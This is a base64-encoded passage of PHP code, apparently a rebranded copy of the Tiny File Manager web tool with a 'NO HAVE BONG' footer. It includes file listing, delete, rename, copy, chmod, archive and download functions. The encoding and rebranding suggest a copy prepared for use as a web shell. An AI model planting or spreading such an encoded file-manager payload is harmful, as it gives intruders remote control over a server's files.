IjAiLCBTVFJfUEFEX0xFRlQpOyA/PiI+PHNwYW4gdGl0bGU9Ijw/cGhwIHByaW50ZignJXMgYnl0ZXMnLCAkZmlsZXNpemVfcmF3KSA/PiI+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvICRmaWxlc2l6ZTsgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvc3Bhbj48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1vcmRlcj0iYi08P3BocCBlY2hvICRkYXRlX3NvcnRpbmc7Pz4iPjw/cGhwIGVjaG8gJG1vZGlmID8+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9JU19XSU4gJiYgISRoaWRlX0NvbHMpOiA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PjxhIHRpdGxlPSI8P3BocCBlY2hvICdDaGFuZ2UgUGVybWlzc2lvbnMnID8+IiBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7Y2htb2Q9PD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+Ij48P3BocCBlY2hvICRwZXJtcyA/PjwvYT48P3BocCBlbHNlOiA/Pjw/cGhwIGVjaG8gJHBlcm1zID8+PD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjw/cGhwIGVjaG8gZm1fZW5jKCRvd25lclsnbmFtZSddIC4gJzonIC4gJGdyb3VwWyduYW1lJ10pID8+PC90ZD48P3BocCBlbmRpZjsgPz4NCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJpbmxpbmUtYWN0aW9ucyI+DQogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ0RlbGV0ZScpID8+IiBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGVsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PiIgb25jbGljaz0iY29uZmlybURhaWxvZyhldmVudCwgMTIwOSwgJzw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKS4nICcubG5nKCdGaWxlJyk7ID8+JywnPD9waHAgZWNobyB1cmxlbmNvZGUoJGYpOyA/PicsIHRoaXMuaHJlZik7Ij4gPGkgY2xhc3M9ImZhIGZhLXRyYXNoLW8iPjwvaT48L2E+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdSZW5hbWUnKSA/PiIgaHJlZj0iIyIgb25jbGljaz0icmVuYW1lKCc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKEZNX1BBVEgpKSA/PicsICc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKCRmKSkgPz4nKTtyZXR1cm4gZmFsc2U7Ij48aSBjbGFzcz0iZmEgZmEtcGVuY2lsLXNxdWFyZS1vIj48L2k+PC9hPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnQ29weVRvJykgPz4uLi4iDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIIC4gJy8nIC4gJGYsICcvJykpID8+Ij48aSBjbGFzcz0iZmEgZmEtZmlsZXMtbyI+PC9pPjwvYT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9Ijw/cGhwIGVjaG8gbG5nKCdEaXJlY3RMaW5rJykgPz4iIGhyZWY9Ijw/cGhwIGVjaG8gZm1fZW5jKEZNX1JPT1RfVVJMIC4gKEZNX1BBVEggIT0gJycgPyAnLycgLiBGTV9QQVRIIDogJycpIC4gJy8nIC4gJGYpID8+IiB0YXJnZXQ9Il9ibGFuayI+PGkgY2xhc3M9ImZhIGZhLWxpbmsiPjwvaT48L2E+DQogICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ0Rvd25sb2FkJykgPz4iIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDtkbD08P3BocCBlY2hvIHVybGVuY29kZSgkZikgPz4iIG9uY2xpY2s9ImNvbmZpcm1EYWlsb2coZXZlbnQsIDEyMTEsICc8P3BocCBlY2hvIGxuZygnRG93bmxvYWQnKTsgPz4nLCc8P3BocCBlY2hvIHVybGVuY29kZSgkZik7ID8+JywgdGhpcy5ocmVmKTsiPjxpIGNsYXNzPSJmYSBmYS1kb3dubG9hZCI+PC9pPjwvYT4NCiAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgZmx1c2goKTsNCiAgICAgICAgICAgICAgICAkaWsrKzsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgaWYgKGVtcHR5KCRmb2xkZXJzKSAmJiBlbXB0eSgkZmlsZXMpKSB7ID8+DQogICAgICAgICAgICAgICAgPHRmb290Pg0KICAgICAgICAgICAgICAgICAgICA8dHI+PD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjwvdGQ+PD9waHAgZW5kaWY7ID8+DQogICAgICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iPD9waHAgZWNobyAoIUZNX0lTX1dJTiAmJiAhJGhpZGVfQ29scykgPyAnNicgOiAnNCcgPz4iPjxlbT48P3BocCBlY2hvIGxuZygnRm9sZGVyIGlzIGVtcHR5JykgPz48L2VtPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgPC90Zm9vdD4NCiAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgfSBlbHNlIHsgPz4NCiAgICAgICAgICAgICAgICA8dGZvb3Q+DQogICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iZ3JheSIgY29sc3Bhbj0iPD9waHAgZWNobyAoIUZNX0lTX1dJTiAmJiAhJGhpZGVfQ29scykgPyAoRk1fUkVBRE9OTFkgPyAnNicgOic3JykgOiAoRk1fUkVBRE9OTFkgPyAnNCcgOiAnNScpID8+Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnRnVsbFNpemUnKS4nOiA8c3BhbiBjbGFzcz0iYmFkZ2UgdGV4dC1iZy1saWdodCBib3JkZXItcmFkaXVzLTAiPicuZm1fZ2V0X2ZpbGVzaXplKCRhbGxfZmlsZXNfc2l6ZSkuJzwvc3Bhbj4nID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ0ZpbGUnKS4nOiA8c3BhbiBjbGFzcz0iYmFkZ2UgdGV4dC1iZy1saWdodCBib3JkZXItcmFkaXVzLTAiPicuJG51bV9maWxlcy4nPC9zcGFuPicgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvIGxuZygnRm9sZGVyJykuJzogPHNwYW4gY2xhc3M9ImJhZGdlIHRleHQtYmctbGlnaHQgYm9yZGVyLXJhZGl1cy0wIj4nLiRudW1fZm9sZGVycy4nPC9zcGFuPicgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgPC90Zm9vdD4NCiAgICAgICAgICAgICAgICA8P3BocCB9ID8+DQogICAgICAgIDwvdGFibGU+DQogICAgPC9kaXY+DQoNCiAgICA8ZGl2IGNsYXNzPSJyb3ciPg0KICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz4NCiAgICAgICAgPGRpdiBjbGFzcz0iY29sLXhzLTEyIGNvbC1zbS05Ij4NCiAgICAgICAgICAgIDx1bCBjbGFzcz0ibGlzdC1pbmxpbmUgZm9vdGVyLWFjdGlvbiI+DQogICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJsaXN0LWlubGluZS1pdGVtIj4gPGEgaHJlZj0iIy9zZWxlY3QtYWxsIiBjbGFzcz0iYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yIiBvbmNsaWNrPSJzZWxlY3RfYWxsKCk7cmV0dXJuIGZhbHNlOyI+PGkgY2xhc3M9ImZhIGZhLWNoZWNrLXNxdWFyZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnU2VsZWN0QWxsJykgPz4gPC9hPjwvbGk+DQogICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJsaXN0LWlubGluZS1pdGVtIj48YSBocmVmPSIjL3Vuc2VsZWN0LWFsbCIgY2xhc3M9ImJ0biBidG4tc21hbGwgYnRuLW91dGxpbmUtcHJpbWFyeSBidG4tMiIgb25jbGljaz0idW5zZWxlY3RfYWxsKCk7cmV0dXJuIGZhbHNlOyI+PGkgY2xhc3M9ImZhIGZhLXdpbmRvdy1jbG9zZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnVW5TZWxlY3RBbGwnKSA/PiA8L2E+PC9saT4NCiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Imxpc3QtaW5saW5lLWl0ZW0iPjxhIGhyZWY9IiMvaW52ZXJ0LWFsbCIgY2xhc3M9ImJ0biBidG4tc21hbGwgYnRuLW91dGxpbmUtcHJpbWFyeSBidG4tMiIgb25jbGljaz0iaW52ZXJ0X2FsbCgpO3JldHVybiBmYWxzZTsiPjxpIGNsYXNzPSJmYSBmYS10aC1saXN0Ij48L2k+IDw/cGhwIGVjaG8gbG5nKCdJbnZlcnRTZWxlY3Rpb24nKSA/PiA8L2E+PC9saT4NCiAgICAgICAgICAgICAgICA8bGkgY2xhc3M9Imxpc3QtaW5saW5lLWl0ZW0iPjxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJoaWRkZW4iIG5hbWU9ImRlbGV0ZSIgaWQ9ImEtZGVsZXRlIiB2YWx1ZT0iRGVsZXRlIiBvbmNsaWNrPSJyZXR1cm4gY29uZmlybSgnPD9waHAgZWNobyBsbmcoJ0RlbGV0ZSBzZWxlY3RlZCBmaWxlcyBhbmQgZm9sZGVycz8nKTsgPz4nKSI+DQogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2EtZGVsZXRlJykuY2xpY2soKTsiIGNsYXNzPSJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTIiPjxpIGNsYXNzPSJmYSBmYS10cmFzaCI+PC9pPiA8P3BocCBlY2hvIGxuZygnRGVsZXRlJykgPz4gPC9hPjwvbGk+DQogICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJsaXN0LWlubGluZS1pdGVtIj48aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iaGlkZGVuIiBuYW1lPSJ6aXAiIGlkPSJhLXppcCIgdmFsdWU9InppcCIgb25jbGljaz0icmV0dXJuIGNvbmZpcm0oJzw/cGhwIGVjaG8gbG5nKCdDcmVhdGUgYXJjaGl2ZT8nKTsgPz4nKSI+DQogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2EtemlwJykuY2xpY2soKTsiIGNsYXNzPSJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTIiPjxpIGNsYXNzPSJmYSBmYS1maWxlLWFyY2hpdmUtbyI+PC9pPiA8P3BocCBlY2hvIGxuZygnWmlwJykgPz4gPC9hPjwvbGk+DQogICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJsaXN0LWlubGluZS1pdGVtIj48aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iaGlkZGVuIiBuYW1lPSJ0YXIiIGlkPSJhLXRhciIgdmFsdWU9InRhciIgb25jbGljaz0icmV0dXJuIGNvbmZpcm0oJzw/cGhwIGVjaG8gbG5nKCdDcmVhdGUgYXJjaGl2ZT8nKTsgPz4nKSI+DQogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2EtdGFyJykuY2xpY2soKTsiIGNsYXNzPSJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTIiPjxpIGNsYXNzPSJmYSBmYS1maWxlLWFyY2hpdmUtbyI+PC9pPiA8P3BocCBlY2hvIGxuZygnVGFyJykgPz4gPC9hPjwvbGk+DQogICAgICAgICAgICAgICAgPGxpIGNsYXNzPSJsaXN0LWlubGluZS1pdGVtIj48aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iaGlkZGVuIiBuYW1lPSJjb3B5IiBpZD0iYS1jb3B5IiB2YWx1ZT0iQ29weSI+DQogICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2EtY29weScpLmNsaWNrKCk7IiBjbGFzcz0iYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yIj48aSBjbGFzcz0iZmEgZmEtZmlsZXMtbyI+PC9pPiA8P3BocCBlY2hvIGxuZygnQ29weScpID8+IDwvYT48L2xpPg0KICAgICAgICAgICAgPC91bD4NCiAgICAgICAgPC9kaXY+DQogICAgICAgIDxkaXYgY2xhc3M9ImNvbC0zIGQtbm9uZSBkLXNtLWJsb2NrIj48YSBocmVmPSJodHRwczovL3RpbnlmaWxlbWFuYWdlci5naXRodWIuaW8iIHRhcmdldD0iX2JsYW5rIiBjbGFzcz0iZmxvYXQtcmlnaHQgdGV4dC1tdXRlZCI+Tk8gSEFWRSBCT05HIDw/cGhwIGVjaG8gVkVSU0lPTjsgPz48L2E+PC9kaXY+DQogICAgICAgIDw/cGhwIGVsc2U6ID8+DQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtMTIiPjxhIGhyZWY9Imh0dHBzOi8vdGlueWZpbGVtYW5hZ2VyLmdpdGh1Yi5pbyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJmbG9hdC1yaWdodCB0ZXh0LW11dGVkIj5OTyBIQVZFIEJPTkcgPD9waHAgZWNobyBWRVJTSU9OOyA/PjwvYT48L2Rpdj4NCiAgICAgICAgPD9waHAgZW5kaWY7ID8+DQogICAgPC9kaXY+DQo8L2Zvcm0+DQoNCjw/cGhwDQpmbV9zaG93X2Zvb3RlcigpOw0KDQovLyAtLS0gRU5EIEhUTUwgLS0tDQoNCi8vIEZ1bmN0aW9ucw0KDQovKioNCiAqIEl0IHByaW50cyB0aGUgY3NzL2pzIGZpbGVzIGludG8gaHRtbA0KICogQHBhcmFtIGtleSBUaGUga2V5IG9mIHRoZSBleHRlcm5hbCBmaWxlIHRvIHByaW50Lg0KICovDQpmdW5jdGlvbiBwcmludF9leHRlcm5hbCgka2V5KSB7DQogICAgZ2xvYmFsICRleHRlcm5hbDsNCg0KICAgIGlmKCFhcnJheV9rZXlfZXhpc3RzKCRrZXksICRleHRlcm5hbCkpIHsNCiAgICAgICAgLy8gdGhyb3cgbmV3IEV4Y2VwdGlvbignS2V5IG1pc3NpbmcgaW4gZXh0ZXJuYWw6ICcgLiBrZXkpOw0KICAgICAgICBlY2hvICI8IS0tIEVYVEVSTkFMOiBNSVNTSU5HIEtFWSAka2V5IC0tPiI7DQogICAgICAgIHJldHVybjsNCiAgICB9DQoNCiAgICBlY2hvICIkZXh0ZXJuYWxbJGtleV0iOw0KfQ0KDQovKioNCiAqIFZlcmlmeSBDU1JGIFRPS0VOIGFuZCByZW1vdmUgYWZ0ZXIgY2VydGlmaWVkDQogKiBAcGFyYW0gc3RyaW5nICR0b2tlbg0KICogQHJldHVybiBib29sDQogKi8NCmZ1bmN0aW9uIHZlcmlmeVRva2VuKCR0b2tlbikgDQp7DQogICAgaWYgKGhhc2hfZXF1YWxzKCRfU0VTU0lPTlsndG9rZW4nXSwgJHRva2VuKSkgeyANCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfQ0KICAgIHJldHVybiBmYWxzZTsNCn0NCg0KLyoqDQogKiBEZWxldGUgIGZpbGUgb3IgZm9sZGVyIChyZWN1cnNpdmVseSkNCiAqIEBwYXJhbSBzdHJpbmcgJHBhdGgNCiAqIEByZXR1cm4gYm9vbA0KICovDQpmdW5jdGlvbiBmbV9yZGVsZXRlKCRwYXRoKQ0Kew0KICAgIGlmIChpc19saW5rKCRwYXRoKSkgew0KICAgICAgICByZXR1cm4gdW5saW5rKCRwYXRoKTsNCiAgICB9IGVsc2VpZiAoaXNfZGlyKCRwYXRoKSkgew0KICAgICAgICAkb2JqZWN0cyA9IHNjYW5kaXIoJHBhdGgpOw0KICAgICAgICAkb2sgPSB0cnVlOw0KICAgICAgICBpZiAoaXNfYXJyYXkoJG9iamVjdHMpKSB7DQogICAgICAgICAgICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkZmlsZSkgew0KICAgICAgICAgICAgICAgIGlmICgkZmlsZSAhPSAnLicgJiYgJGZpbGUgIT0gJy4uJykgew0KICAgICAgICAgICAgICAgICAgICBpZiAoIWZtX3JkZWxldGUoJHBhdGggLiAnLycgLiAkZmlsZSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRvayA9IGZhbHNlOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHJldHVybiAoJG9rKSA/IHJtZGlyKCRwYXRoKSA6IGZhbHNlOw0KICAgIH0gZWxzZWlmIChpc19maWxlKCRwYXRoKSkgew0KICAgICAgICByZXR1cm4gdW5saW5rKCRwYXRoKTsNCiAgICB9DQogICAgcmV0dXJuIGZhbHNlOw0KfQ0KDQovKioNCiAqIFJlY3Vyc2l2ZSBjaG1vZA0KICogQHBhcmFtIHN0cmluZyAkcGF0aA0KICogQHBhcmFtIGludCAkZmlsZW1vZGUNCiAqIEBwYXJhbSBpbnQgJGRpcm1vZGUNCiAqIEByZXR1cm4gYm9vbA0KICogQHRvZG8gV2lsbCB1c2UgaW4gbWFzcyBjaG1vZA0KICovDQpmdW5jdGlvbiBmbV9yY2htb2QoJHBhdGgsICRmaWxlbW9kZSwgJGRpcm1vZGUpDQp7DQogICAgaWYgKGlzX2RpcigkcGF0aCkpIHsNCiAgICAgICAgaWYgKCFjaG1vZCgkcGF0aCwgJGRpcm1vZGUpKSB7DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICAgICAgJG9iamVjdHMgPSBzY2FuZGlyKCRwYXRoKTsNCiAgICAgICAgaWYgKGlzX2FycmF5KCRvYmplY3RzKSkgew0KICAgICAgICAgICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgICAgICBpZiAoJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicpIHsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCFmbV9yY2htb2QoJHBhdGggLiAnLycgLiAkZmlsZSwgJGZpbGVtb2RlLCAkZGlybW9kZSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICB9IGVsc2VpZiAoaXNfbGluaygkcGF0aCkpIHsNCiAgICAgICAgcmV0dXJuIHRydWU7DQogICAgfSBlbHNlaWYgKGlzX2ZpbGUoJHBhdGgpKSB7DQogICAgICAgIHJldHVybiBjaG1vZCgkcGF0aCwgJGZpbGVtb2RlKTsNCiAgICB9DQogICAgcmV0dXJuIGZhbHNlOw0KfQ0KDQovKioNCiAqIENoZWNrIHRoZSBmaWxlIGV4dGVuc2lvbiB3aGljaCBpcyBhbGxvd2VkIG9yIG5vdA0KICogQHBhcmFtIHN0cmluZyAkZmlsZW5hbWUNCiAqIEByZXR1cm4gYm9vbA0KICovDQpmdW5jdGlvbiBmbV9pc192YWxpZF9leHQoJGZpbGVuYW1lKQ0Kew0KICAgICRhbGxvd2VkID0gKEZNX0ZJTEVfRVhURU5TSU9OKSA/IGV4cGxvZGUoJywnLCBGTV9GSUxFX0VYVEVOU0lPTikgOiBmYWxzZTsNCg0KICAgICRleHQgPSBwYXRoaW5mbygkZmlsZW5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTik7DQogICAgJGlzRmlsZUFsbG93ZWQgPSAoJGFsbG93ZWQpID8gaW5fYXJyYXkoJGV4dCwgJGFsbG93ZWQpIDogdHJ1ZTsNCg0KICAgIHJldHVybiAoJGlzRmlsZUFsbG93ZWQpID8gdHJ1ZSA6IGZhbHNlOw0KfQ0KDQovKioNCiAqIFNhZmVseSByZW5hbWUNCiAqIEBwYXJhbSBzdHJpbmcgJG9sZA0KICogQHBhcmFtIHN0cmluZyAkbmV3DQogKiBAcmV0dXJuIGJvb2x8bnVsbA0KICovZnVuY3Rpb24gZm1fcmVuYW1lKCRvbGQsICRuZXcpDQp7DQogICAgJGlzRmlsZUFsbG93ZWQgPSBmbV9pc192YWxpZF9leHQoJG5ldyk7DQoNCiAgICBpZighaXNfZGlyKCRvbGQpKSB7DQogICAgICAgIGlmICghJGlzRmlsZUFsbG93ZWQpIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICByZXR1cm4gKCFmaWxlX2V4aXN0cygkbmV3KSAmJiBmaWxlX2V4aXN0cygkb2xkKSkgPyByZW5hbWUoJG9sZCwgJG5ldykgOiBudWxsOw0KfQ0KDQovKioNCiAqIENvcHkgZmlsZSBvciBmb2xkZXIgKHJlY3Vyc2l2ZWx5KS4NCiAqIEBwYXJhbSBzdHJpbmcgJHBhdGgNCiAqIEBwYXJhbSBzdHJpbmcgJGRlc3QNCiAqIEBwYXJhbSBib29sICR1cGQgVXBkYXRlIGZpbGVzDQogKiBAcGFyYW0gYm9vbCAkZm9yY2UgQ3JlYXRlIGZvbGRlciB3aXRoIHNhbWUgbmFtZXMgaW5zdGVhZCBmaWxlDQogKiBAcmV0dXJuIGJvb2wNCiAqLw0KZnVuY3Rpb24gZm1fcmNvcHkoJHBhdGgsICRkZXN0LCAkdXBkID0gdHJ1ZSwgJGZvcmNlID0gdHJ1ZSkNCnsNCiAgICBpZiAoaXNfZGlyKCRwYXRoKSkgew0KICAgICAgICBpZiAoIWZtX21rZGlyKCRkZXN0LCAkZm9yY2UpKSB7DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICAgICAgJG9iamVjdHMgPSBzY2FuZGlyKCRwYXRoKTsNCiAgICAgICAgJG9rID0gdHJ1ZTsNCiAgICAgICAgaWYgKGlzX2FycmF5KCRvYmplY3RzKSkgew0KICAgICAgICAgICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgICAgICBpZiAoJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicpIHsNCiAgICAgICAgICAgICAgICAgICAgaWYgKCFmbV9yY29weSgkcGF0aCAuICcvJyAuICRmaWxlLCAkZGVzdCAuICcvJyAuICRmaWxlKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJG9rID0gZmFsc2U7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRvazsNCiAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCkpIHsNCiAgICAgICAgcmV0dXJuIGZtX2NvcHkoJHBhdGgsICRkZXN0LCAkdXBkKTsNCiAgICB9DQogICAgcmV0dXJuIGZhbHNlOw0KfQ0KDQovKioNCiAqIFNhZmVseSBjcmVhdGUgZm9sZGVyDQogKiBAcGFyYW0gc3RyaW5nICRkaXINCiAqIEBwYXJhbSBib29sICRmb3JjZQ0KICogQHJldHVybiBib29sDQogKi8NCmZ1bmN0aW9uIGZtX21rZGlyKCRkaXIsICRmb3JjZSkNCnsNCiAgICBpZiAoZmlsZV9leGlzdHMoJGRpcikpIHsNCiAgICAgICAgaWYgKGlzX2RpcigkZGlyKSkgew0KICAgICAgICAgICAgcmV0dXJuICRkaXI7DQogICAgICAgIH0gZWxzZWlmICghJGZvcmNlKSB7DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICAgICAgdW5saW5rKCRkaXIpOw0KICAgIH0NCiAgICByZXR1cm4gbWtkaXIoJGRpciwgMDc3NywgdHJ1ZSk7DQp9DQoNCi8qKg0KICogU2FmZWx5IGNvcHkgZmlsZQ0KICogQHBhcmFtIHN0cmluZyAkZjENCiAqIEBwYXJhbSBzdHJpbmcgJGYyDQogKiBAcGFyYW0gYm9vbCAkdXBkIEluZGljYXRlcyBpZiBmaWxlIHNob3VsZCBiZSB1cGRhdGVkIHdpdGggbmV3IGNvbnRlbnQNCiAqIEByZXR1cm4gYm9vbA0KICovDQpmdW5jdGlvbiBmbV9jb3B5KCRmMSwgJGYyLCAkdXBkKQ0Kew0KICAgICR0aW1lMSA9IGZpbGVtdGltZSgkZjEpOw0KICAgIGlmIChmaWxlX2V4aXN0cygkZjIpKSB7DQogICAgICAgICR0aW1lMiA9IGZpbGVtdGltZSgkZjIpOw0KICAgICAgICBpZiAoJHRpbWUyID49ICR0aW1lMSAmJiAkdXBkKSB7DQogICAgICAgICAgICByZXR1cm4gZmFsc2U7DQogICAgICAgIH0NCiAgICB9DQogICAgJG9rID0gY29weSgkZjEsICRmMik7DQogICAgaWYgKCRvaykgew0KICAgICAgICB0b3VjaCgkZjIsICR0aW1lMSk7DQogICAgfQ0KICAgIHJldHVybiAkb2s7DQp9DQoNCi8qKg0KICogR2V0IG1pbWUgdHlwZQ0KICogQHBhcmFtIHN0cmluZyAkZmlsZV9wYXRoDQogKiBAcmV0dXJuIG1peGVkfHN0cmluZw0KICovDQpmdW5jdGlvbiBmbV9nZXRfbWltZV90eXBlKCRmaWxlX3BhdGgpDQp7DQogICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnZmluZm9fb3BlbicpKSB7DQogICAgICAgICRmaW5mbyA9IGZpbmZvX29wZW4oRklMRUlORk9fTUlNRV9UWVBFKTsNCiAgICAgICAgJG1pbWUgPSBmaW5mb19maWxlKCRmaW5mbywgJGZpbGVfcGF0aCk7DQogICAgICAgIGZpbmZvX2Nsb3NlKCRmaW5mbyk7DQogICAgICAgIHJldHVybiAkbWltZTsNCiAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdtaW1lX2NvbnRlbnRfdHlwZScpKSB7DQogICAgICAgIHJldHVybiBtaW1lX2NvbnRlbnRfdHlwZSgkZmlsZV9wYXRoKTsNCiAgICB9IGVsc2VpZiAoIXN0cmlzdHIoaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSwgJ3NoZWxsX2V4ZWMnKSkgew0KICAgICAgICAkZmlsZSA9IGVzY2FwZXNoZWxsYXJnKCRmaWxlX3BhdGgpOw0KICAgICAgICAkbWltZSA9IHNoZWxsX2V4ZWMoJ2ZpbGUgLWJpICcgLiAkZmlsZSk7DQogICAgICAgIHJldHVybiAkbWltZTsNCiAgICB9IGVsc2Ugew0KICAgICAgICByZXR1cm4gJy0tJzsNCiAgICB9DQp9DQoNCi8qKg0KICogSFRUUCBSZWRpcmVjdA0KICogQHBhcmFtIHN0cmluZyAkdXJsDQogKiBAcGFyYW0gaW50ICRjb2RlDQogKi8NCmZ1bmN0aW9uIGZtX3JlZGlyZWN0KCR1cmwsICRjb2RlID0gMzAyKQ0Kew0KICAgIGhlYWRlcignTG9jYXRpb246ICcgLiAkdXJsLCB0cnVlLCAkY29kZSk7DQogICAgZXhpdDsNCn0NCg0KLyoqDQogKiBQYXRoIHRyYXZlcnNhbCBwcmV2ZW50aW9uIGFuZCBjbGVhbiB0aGUgdXJsDQogKiBJdCByZXBsYWNlcyAoY29uc2VjdXRpdmUpIG9jY3VycmVuY2VzIG9mIC8gYW5kIFxcIHdpdGggd2hhdGV2ZXIgaXMgaW4gRElSRUNUT1JZX1NFUEFSQVRPUiwgYW5kIHByb2Nlc3NlcyAvLiBhbmQgLy4uIGZpbmUuDQogKiBAcGFyYW0gJHBhdGgNCiAqIEByZXR1cm4gc3RyaW5nDQogKi8NCmZ1bmN0aW9uIGdldF9hYnNvbHV0ZV9wYXRoKCRwYXRoKSB7DQogICAgJHBhdGggPSBzdHJfcmVwbGFjZShhcnJheSgnLycsICdcXCcpL